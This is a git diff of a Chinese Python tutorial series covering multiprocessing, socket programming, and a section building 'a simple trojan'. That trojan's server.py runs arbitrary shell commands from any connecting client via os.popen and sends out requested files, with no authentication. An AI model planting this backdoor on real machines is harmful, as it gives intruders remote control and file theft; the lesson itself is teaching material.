index 0000000..17c9911 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/3.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/4.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/4.png" new file mode 100644 index 0000000..0944a4c Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/4.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/5.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/5.png" new file mode 100644 index 0000000..912a226 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/5.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/6.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/6.png" new file mode 100644 index 0000000..4d76d2a Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/6.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/7.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/7.png" new file mode 100644 index 0000000..226ba65 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/7.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/readme.md" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/readme.md" new file mode 100644 index 0000000..4ea7630 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/readme.md" @@ -0,0 +1,237 @@ +## 2.3 多进程编程 + +在上一节我们讲过Python的多线程由于全局线程锁的存在并不能实现真正的并行编程,但是Python中的多进程编程模式是可以实现这个目标的。多进程模式下进行上下文切换的损耗要远远大于线程。进程间无法直接共享数据,需要通过Queue、Pipe或则Manager方式做进程间通信。 + +需要注意的是,编辑器对多进程调试的支持一般都不太好,在vscode中的调试控制台只能打印主进程的输出内容,所有需要在命令行运行脚本(或者在调试菜单中选择不调试模式下运行)查看完整结果。 +![](img/2.png) + +### 2.3.1 创建进程 + + +multiprocessing模块提供了类似threading模块中多线程编程模式的功能,辅助我们进行多进程开发。下面我们看创建子进程的示例(创建simple.py): + +```Python +# -*- coding: UTF-8 -*- + +from multiprocessing import Process +import os + +def info(title): + print(title) + print('module name:', __name__) + print('parent process:', os.getppid()) + print('process id:', os.getpid()) + +def f(name): + info('function f') + print('hello', name) + +if __name__ == '__main__': + print('main line') + p = Process(target=f, args=('bob',))#创建进程 + p.start() + p.join() +``` + +Process类定义在multiprocessing模块中,使用方法和Thread类基本类似,具体参数这里就不详细介绍了,参考2.2节即可。和Thread类似,我们使用start方法来启动子进程,使用join方法等待子进程执行完毕才退出。代码中我们使用os.getppid()来获取当前进程的父进程id,使用os.getpid()来获取当前进程的id。和多线程类似,我们可以同时创建多个进程来实现真正的并行任务。 + +如果想要手动终止进程可以调用p.terminate()。 + +运行结果如下: +![](img/1.png) + + +### 2.3.2 进程间通信 + +多进程之间的通信通过Queue()或Pipe()来实现。 + +#### Queue + +通过Queue可以实现多个进程间的数据共享,Queue类提供了put方法存放数据,get方法获取数据,get方法获取数据的同上会清空队列。新建Queue.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +from multiprocessing import Process, Queue +import time + +def f(q, data): + q.put(data)#添加数据 +def out(q): + time.sleep(4) + print(q.get())#获取数据 + +if __name__ == '__main__': + q = Queue()#创建Queue实例 + p = Process(target=f, args=(q, [1, 2, 3])) + p.start() + + p.join() + + p1 = Process(target=out,args=(q,)) + p1.start() + + p1.join() + ``` +在上面的代码中,我们首先调用Queue()来创建一个Queue的实例,接下来创建了两个子进程p和p1。进程p绑定的函数为f,向Queue中添加数据;进程p1绑定函数out,从Queue中获取数据。运行结果如下: +![](img/3.png) + +从运行结果看,两个进程间通过Queue完成了数据共享。 + +#### Pipe + +multiprocessing.Pipe()即管道模式,调用Pipe()返回管道的两端的Connection。Pipe的本质是进程之间的数据传递,而不是数据共享,这和socket有点像。pipe()返回两个连接对象分别表示管道的两端,每端都有send()和recv()方法。如果两个进程试图在同一时间的同一端进行读取和写入那么,这可能会损坏管道中的数据。 + +新建Pipe.py,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +import multiprocessing + +def consumer(pipe): + output_p,input_p=pipe + input_p.close() #关闭管道的输入端 + while True: + try: + item=output_p.recv() + print(item) + except EOFError: + break + + +#生产项目并将其放置到队列上,sequence是代表要处理项目的可迭代对象 +def producer(sequence,input_p): + for item in sequence: + #将项目放置在队列上 + input_p.send(item) +if __name__=="__main__": + (output_p,input_p)=multiprocessing.Pipe(True) + #启动使用者进程 + cons_p=multiprocessing.Process(target=consumer,args=((output_p,input_p),)) + cons_p.start() + + #关闭生产者中的输出管道 + output_p.close() + print("生产者关闭") + #生产项目 + sequence=[1,2,3,4] + producer(sequence,input_p) + #关闭输入管道,表示完成 + input_p.close() + #等待使用者进程关闭 + cons_p.join() +``` +上面的代码中在主进程中调用multiprocessing.Pipe(True)创建了管道,并返回元组(conn1,conn2),其中conn1和conn2是表示管道两端的Connection对象。Pipe接收一个布尔型参数,默认为true,表示是全双工通信,如果将置为False,conn1只能用于接收,而conn2只能用于发送。必须在创建和启动使用管道的Process对象之前调用Pipe()方法。 + +当主进程创建Pipe的时候,Pipe的两个Connections连接的的都是主进程。 +当主进程创建子进程后,Connections也被拷贝了一份。此时有了4个Connections。 +此后,关闭主进程的一个Out Connection,关闭一个子进程的一个In Connection。那么就建立好了一个输入在主进程,输出在子进程的管道。 +原理示意图如下: +![](img/4.png) + +应该特别注意管道端点的正确管理问题。如果是生产者或消费者中都没有使用管道的某个端点,就应将它关闭。这也说明了为何在生产者中关闭了管道的输出端,在消费者中关闭管道的输入端。如果忘记执行这些步骤,程序可能在消费者中的recv()操作上挂起。管道是由操作系统进行引用计数的,必须在所有进程中关闭管道后才能生成EOFError异常。因此,在生产者中关闭管道不会有任何效果,除非消费者也关闭了相同的管道端点。 + +运行结果如下: + +![](img/5.png) + + +### 2.3.3 进程锁 + +和多线程编程一样,当多个进程需要访问共享资源的时候,Lock可以用来避免访问的冲突。新建Lock.py,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +import multiprocessing +import time + +def job(v, num, l): + l.acquire() # 锁住 + for _ in range(5): + time.sleep(0.1) + v.value += num # 获取共享内存 + print(v.value) + l.release() # 释放 + +def multicore(): + l = multiprocessing.Lock() # 定义一个进程锁 + v = multiprocessing.Value('i', 0) # 定义共享内存 + p1 = multiprocessing.Process(target=job, args=(v,1,l)) # 需要将lock传入 + p2 = multiprocessing.Process(target=job, args=(v,3,l)) + p1.start() + p2.start() + p1.join() + p2.join() + +if __name__ == '__main__': + multicore() +``` + +上面的代码中,我们通过multiprocessing.Lock()来创建一个进程锁,然后调用 +“multiprocessing.Value('i', 0) ”定义了一个共享内存变量v,初始值为0。接下来启动两个线程p1和p2,同时对共享变量v进行操作,为了保证二者互不影响,在方法job中调用了acquire方法和release方法,对期间的代码块加锁,保证同时只能有一个进程修改v的值。运行结果如下: + +![](img/6.png) + + +### 2.3.4 进程池 + +由于进程启动的开销比较大,使用多进程的时候会导致大量内存空间被消耗。为了防止这种情况发生可以使用进程池。进程池会缓存一些进程在池子中,使用的时候直接拿来用,使用完毕回收到池子中。 + + +进程池中常用方法: +``` +apply() 同步执行(串行) +apply_async() 异步执行(并行) +terminate() 立刻关闭进程池 +join() 主进程等待所有子进程执行完毕。必须在close或terminate()之后。 +close() 等待所有进程结束后,才关闭进程池。 +``` + +新建Pool.py,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +from multiprocessing import Process,Pool +import time + +def Foo(i): + time.sleep(2) + return i+100 + +def Bar(arg): + print('-->exec done:',arg) + +pool = Pool(5) #允许进程池同时放入5个进程 + +for i in range(10): + pool.apply_async(func=Foo, args=(i,),callback=Bar) #func子进程执行完后,才会执行callback,否则callback不执行(而且callback是由父进程来执行了) + +print('end') +pool.close() +pool.join() #主进程等待所有子进程执行完毕。必须在close()或terminate()之后。 +``` + +进程池内部维护一个进程序列,当使用时,去进程池中获取一个进程,如果进程池序列中没有可供使用的进程,那么程序就会等待,直到进程池中有可用进程为止。在上面的程序中产生了10个进程,但是只能有5同时被放入进程池,剩下的都被暂时挂起,并不占用内存空间,等前面的五个进程执行完后,再执行剩下5个进程。 + +### 2.3.5 小结 + +本节介绍了Python中多进程编程的基本概念,后续课程中会继续使用多进程来开发应用。 +#### 本节作业 +1. 结合2.1,2.2节内容,写一个多进程版本的文件枚举程序,同时输入多个目录,每个子进程负责一个目录递归获取该目录下的所有文件。 + +下一节我们通过一个综合训练,巩固本章学习的内容。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + + + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + diff --git a/2.3.pdf b/2.3.pdf new file mode 100644 index 0000000..ac8bc2a Binary files /dev/null and b/2.3.pdf differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/3.1.pdf" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/3.1.pdf" new file mode 100644 index 0000000..1183406 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/3.1.pdf" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/client.py" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/client.py" new file mode 100644 index 0000000..35e8800 --- /dev/null +++ "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/client.py" @@ -0,0 +1,38 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys + +#测试类 +class Client: + def __init__(self,host): + self.host=host #待连接的远程主机的域名 + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + sys.exit() #退出进程 + try: + remote_ip = socket.gethostbyname(self.host) + except socket.gaierror: + print('主机无法被解析') + sys.exit() #退出进程 + try: + s.connect((remote_ip,80)) + message = b"GET / HTTP/1.1\r\n\r\n" + s.sendall(message) + reply = s.recv(4096) + print(reply) + s.close() + except socket.error: + sys.exit() #退出进程 + + + + + +if __name__ == '__main__': + cl = Client('www.baidu.com') + cl.connet() + diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/server.py" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/server.py" new file mode 100644 index 0000000..cc974e7 --- /dev/null +++ "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/server.py" @@ -0,0 +1,34 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port))#绑定 + s.listen(10)#监听 + print('等待客户端连接') + conn, addr = s.accept()#接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + data = conn.recv(1024)#接收数据 + print("客户端数据:%s"%data) + conn.sendall(bytes("你好客户端\n\r", encoding = "utf8"))#发送数据 + conn.close()#关闭连接 + + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + +if __name__ == '__main__': + s = server('',8800) + s.start() + + diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/0.jpg" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/0.jpg" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/00.jpeg" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/00.jpeg" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/1.jpg" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/1.jpg" new file mode 100644 index 0000000..48c1677 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/1.jpg" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/2.png" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/2.png" new file mode 100644 index 0000000..1701a66 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/2.png" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/3.png" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/3.png" new file mode 100644 index 0000000..7ff0fd8 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/3.png" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/4.png" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/4.png" new file mode 100644 index 0000000..6e91c34 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/4.png" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/readme.md" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/readme.md" new file mode 100644 index 0000000..9774938 --- /dev/null +++ "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/readme.md" @@ -0,0 +1,184 @@ +## 3.1 Socket编程基础 + +从本节开始,我们正式打开网络编程的大门。需要注意的是,网络编程的基础是网络协议,本系列文章中不会系统的讲解协议,希望各位同学努力补充TCP/IP协议的相关内容。 + +Socket(套接字)编程是众多c/s架构程序基础,游戏、web服务器、绝大多数的木马程序都是基于Socket来实现的。在讲解什么是Socket之前,我们先来简单了解下TCP/IP分层模型。 + +国际标准化组织(ISO)在1978年提出了“开放系统互联参考模型”,即著名的OSI/RM模型(Open System Interconnection/Reference Model)。它将计算机网络体系结构的通信协议划分为七层,自下而上依次为:物理层(Physics Layer)、数据链路层(Data Link Layer)、网络层(Network Layer)、传输层(Transport Layer)、会话层(Session Layer)、表示层(Presentation Layer)、应用层(Application Layer)。其中第四层完成数据传送服务,上面三层面向用户。 + +除了标准的OSI七层模型以外,常见的网络层次划分还有TCP/IP四层协议以及TCP/IP五层协议,它们之间的对应关系如下图所示: + +![](img/1.jpg) + + +四层模型和五层是现实世界中真实存在的,本系列教程遵循4层模型来写作。本章内容集中在网络接口层,实际对应到5层的数据链路层。 + +Socket(套接字)是一种编程接口,一般面向网络层和传输层协议(套接字并不限于TCP/IP),每个套接字绑定一个ip一个端口。在Internet上的主机一般运行了多个服务软件,同时提供几种服务。每种服务都打开一个Socket,并绑定到一个端口上,不同的端口对应于不同的服务。比如QQ服务端对外绑定8000端口,web服务器一般对外绑定80端口。 + +Socket(套接字)为BSD UNIX系统核心的一部分,而且他们也被许多其他类似UNIX的操作系统包括Linux所采纳。许多非BSD UNIX系统(如ms-dos,windows,os/2,mac os及大部分主机环境)都以库形式提供对套接字的支持。 + +了解了基本概念之后,我们来了解下Python的Socket编程接口。 + +3.1.1 socket 类 + +Python 提供了两个基本的 socket 模块: + +* `socket` 它提供了标准的BSD Socket API。 +* `socketserver` 为服务器端编程提供了进一步封装,可以简化网络服务器的开发。 + +调用socket.socket可以创建一个Socket实例,socket类构造函数声明如下: + +``` +socket(family, type[,protocal]) +``` + +我们看到socket构造函数接收三个参数,第一个为family。family表示套接字对象使用的地址族,可选值:AF_INET——IPv4地址族,AF_INET6——IPv6地址族,AF_UNIX——针对类UNIX系统的套接字。第二个为type,可使用的类型如下: + +socket 类型 | 描述 +:--- | :--- +socket.SOCK_STREAM | 基于TCP的流式socket通信 +socket.SOCK_DGRAM | 基于UDP的数据报式socket通信 +socket.SOCK_RAW | 原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次SOCK_RAW也可以处理特殊的IPV4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头 +socket.SOCK_SEQPACKET | 可靠的连续数据包服务 + +第三个参数protocal是协议类型,默认是0表示套接字,在套接字编程中不需要关心该参数。 + +创建TCP Socket的方法如下: +```Python +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +``` +创建UDP Socket的方法如下: +``` +sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +``` + +接下来我们基于socket类来实现简单的客户端和服务端。 + +### 3.1.2 客户端编程 + +新建client.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys + +#测试类 +class Client: + def __init__(self,host): + self.host=host #待连接的远程主机的域名 + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + sys.exit() #退出进程 + + +if __name__ == '__main__': + cl = Client('www.baidu.com') + cl.connet() +``` + +我们定义一个测试类名为Client,构造函数接收一个域名,用于连接测试。定义了connet方法,创建一个tcp类型的socket实例,向服务端发起连接。该方法最后调用sys.exit()退出。下面我们完善connet方法: + +```Python + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + sys.exit() #退出进程 + try: + remote_ip = socket.gethostbyname(self.host)#根据域名获取ip + except socket.gaierror: + print('主机无法被解析') + sys.exit() #退出进程 + try: + s.connect((remote_ip,80))#连接 + message = b"GET / HTTP/1.1\r\n\r\n" + s.sendall(message)#发送数据 + reply = s.recv(4096)#接收数据 + print(reply) + s.close()#关闭连接 + except socket.error: + sys.exit() #退出进程 +``` +如上,一个简单的客户端完成了,我们首先调用socket.gethostbyname方法,利用传入的host参数获取其远程服务器的ip。接下来调用s.connect方法连接远程主机,注意connect方法的参数为一个元组,由ip和端口组成。主机连接完成,调用 s.sendall方法一次性发送所有数据到服务端,这里需要注意发送的数据必须是二进制格式。当数据比较大的时候需要使用send方法循环发送。接收服务器的响应使用s.recv方法,该方法的参数为一次接收的数据大小,当数据很大或者不知道具体大小的时候,需要循环接收。 最后调用s.close方法关闭连接。这个最简单客户端程序,实际上是发出了一个Http 的get请求,我们看下运行结果: + +![](img/2.png) + +现在简单总结下Socket客户端编程的基本步骤: +1. 创建套接字 + +2. 连接服务端 + +3. 发送数据 + +4. 接收数据 + +5. 关闭连接 + +下面我们再看最基本的服务端编程。 + +### 3.1.3 服务端编程 + +新建server.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建socket + try: + s.bind((self.ip,self.port))#绑定 + s.listen(10)#监听 + print('等待客户端连接') + conn, addr = s.accept()#接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + data = conn.recv(1024)#接收数据 + print("客户端数据:%s"%data) + conn.sendall(bytes("你好客户端\n\r", encoding = "utf8"))#发送数据 + conn.close()#关闭连接 + + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + +if __name__ == '__main__': + s = server('',8800) + s.start() + +``` +server类的start方法创建了一个简单的服务端。和客户端编程类似,我们首先创建一个socket对象。随后,我们要把socket绑定到传入的IP和端口上,调用bind方法,传入ip和端口号。服务端不会主动连接其他主机,而是等待客户端连接,这需要进入监听状态,listen方法接收一个参数,用来指定可以同时挂起的连接数。监听模式之后,如果有客户端连接进来,如何接收连接呢?需要使用accept方法。accept方法会返回一个代表当前链接的connection对象和客户端的ip地址。接下来就可以使用conn对象来接收和发送数据了,最后调用conn.close()关闭和客户端的连接。下面我们启动服务端,然后再命令行启动nc,来连接服务端。 + +![](img/4.png) + +从上图我们可以看到,通过nc连接到服务端之后,服务端会打印连接的客户端信息,客户端输入“hello”,服务端接收后返回“你好客户端”,然后关闭连接。 + +### 3.1.4 小结 + +本节我们完成了最简单的客户端和服务端编程,同学们需要掌握建立客户端和服务端的基本步骤和api的使用。 下一节我们会继续改善本节的内容,创建基于多线程和多进程的服务端,使我们的客户端和服务端能正常通信,反复交流。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + diff --git a/3.1.pdf b/3.1.pdf new file mode 100644 index 0000000..1183406 Binary files /dev/null and b/3.1.pdf differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/3.2.pdf" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/3.2.pdf" new file mode 100644 index 0000000..31c97f3 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/3.2.pdf" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/client.py" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/client.py" new file mode 100644 index 0000000..7753112 --- /dev/null +++ "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/client.py" @@ -0,0 +1,55 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import re +import os + +class Client: + def __init__(self,serverIp,serverPort): + self.serverIp=serverIp #待连接的远程主机的域名 + self.serverPort = serverPort + self.bufferSize = 10240 + + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + try: + s.connect((self.serverIp,self.serverPort)) + while True: + message = input('> ')#接收用户输入 + if not message: + break + s.send(bytes(message, 'utf-8'))#发送命令 + data = s.recv(self.bufferSize)#接收数据 + if not data: + break + if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型 + print(data.decode('utf-8')[4:]) + else:#文件内容处理 + s.send("File size received".encode())#通知服务端可以发送文件了 + file_total_size = int(data.decode())#总大小 + received_size = 0 + f = open("new" +os.path.split(message)[-1], "wb")#创建文件 + while received_size < file_total_size: + data = s.recv(self.bufferSize) + f.write(data)#写文件 + received_size += len(data)#累加接收长度 + print("已接收:", received_size) + f.close()#关闭文件 + print("receive done", file_total_size, " ", received_size) + except socket.error: + s.close() + raise #退出进程 + finally: + s.close() + + +if __name__ == '__main__': + cl = Client('127.0.0.1',8800) + cl.connet() + sys.exit() #退出进程 + diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/server.py" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/server.py" new file mode 100644 index 0000000..2a9c5d2 --- /dev/null +++ "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/server.py" @@ -0,0 +1,58 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import os + + +class server: + def __init__(self, ip, port): + self.port = port + self.ip = ip + self.bufferSize = 10240 + + def start(self): # 启动监听,接收数据 + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.bind((self.ip, self.port)) # 绑定 + s.listen(10) # 监听 + print('等待客户端连接') + while True: # 一直等待新的连接 + try: + conn, addr = s.accept() # 接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + while True: # 不知道客户端发送数据大小,循环接收 + data = conn.recv(self.bufferSize) + if not data: + break + else: + self.executeCommand(conn,data) + conn.close() + except socket.error as e: + print(e) + conn.close() # 关闭连接 + finally: + s.close() # 关闭服务端 + + def executeCommand(self, tcpCliSock, data): # 解析并执行命令 + try:# + message = data.decode("utf-8") + if os.path.isfile(message):#判断是否是文件 + filesize = str(os.path.getsize(message))#获取文件大小 + print("文件大小为:",filesize) + tcpCliSock.send(filesize.encode())#发送文件大小 + data = tcpCliSock.recv(self.bufferSize) + print("开始发送") + f = open(message, "rb")#打开文件 + for line in f: + tcpCliSock.send(line)#发送文件内容 + else: + tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8')) + except: + raise + + + +if __name__ == '__main__': + s = server('', 8800) + s.start() diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/0.jpg" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/0.jpg" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/1.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/1.png" new file mode 100644 index 0000000..77dc710 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/1.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/2.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/2.png" new file mode 100644 index 0000000..0559456 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/2.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/3.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/3.png" new file mode 100644 index 0000000..32f62e9 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/3.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/4.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/4.png" new file mode 100644 index 0000000..96a5eea Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/4.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/6.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/6.png" new file mode 100644 index 0000000..fd6e158 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/6.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/readme.md" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/readme.md" new file mode 100644 index 0000000..800c6f5 --- /dev/null +++ "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/readme.md" @@ -0,0 +1,286 @@ +## 3.2 一个简单木马 + +在3.1节,我们学习了socket编程的基础,可以实现基本的client和server端的编程。本节在此基础上,实现client和server端的连接和交互,实现一个基本的木马程序。该程序可以实现读取服务端文件内容发送给客户端,或者执行shell命令。 + +### 3.2.1 服务端 + +我们先按照之前的做法,创建server类,在start方法中完成服务器的启动和监听,并保持连接接收客户端发送的数据。代码如下: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import os + + +class server: + def __init__(self, ip, port): + self.port = port + self.ip = ip + self.bufferSize = 10240 + + def start(self): # 启动监听,接收数据 + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.bind((self.ip, self.port)) # 绑定 + s.listen(10) # 监听 + print('等待客户端连接') + while True: # 一直等待新的连接 + try: + conn, addr = s.accept() # 接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + while True: # 保持长连接 + data = conn.recv(self.bufferSize)#接收数据 + if not data:#断开连接时退出当前循环 + break + else: + self.executeCommand(conn,data) + conn.close()#关闭当前连接 + except socket.error as e: + print(e) + conn.close() # 关闭连接 + finally: + s.close() # 关闭服务端 + + def executeCommand(self, tcpCliSock, data): # 解析并执行命令 + try:# + #判断是否是文件 + #获取文件大小 + #发送文件大小 + #发送文件内容 + #如果不是文件则执行shell命令并返回结果 + pass + except: + raise + + + +if __name__ == '__main__': + s = server('', 8800) + s.start() +``` + +在上面的代码中,我们使用了连个while...true循环,第一个用来接收新的连接,第二个是在当前连接中保持连接,一直接收数据。此处我们假定客户端发送的命令数据一定小于10240 byte,所以一次接收完毕,然后调用executeCommand方法。 + +executeCommand方法要完成的第一个任务是判断传来的命令是否是一个文件路径,这里我们可以使用 + +```Python +os.path.isfile(path) +``` +方法来判断。 +接下来是获取文件大小,可以使用 + +```Python +os.path.getsize(path) +``` +方法。 + +接下来是打开文件,然后逐行读取并发送出去,文件操作如果还不熟悉,请回头复习2.1节。 + +下面我们来完善executeCommand方法: + +```Python + try:# + message = data.decode("utf-8") + if os.path.isfile(message):#判断是否是文件 + filesize = str(os.path.getsize(message))#获取文件大小 + print("文件大小为:",filesize) + tcpCliSock.send(filesize.encode())#发送文件大小 + data = tcpCliSock.recv(self.bufferSize) + print("开始发送") + f = open(message, "rb")#打开文件 + for line in f: + tcpCliSock.send(line)#发送文件内容 + except: + raise +``` +上面的代码需要注意的是,我们获取和发送文件大小的原因,如果文件非常大,客户端是无法一次性接收完毕的,需要循环接收数据,直到指定大小为止。在发送大小之后,我们调用了recv方法: + +```Python + +data = tcpCliSock.recv(self.bufferSize) +``` + 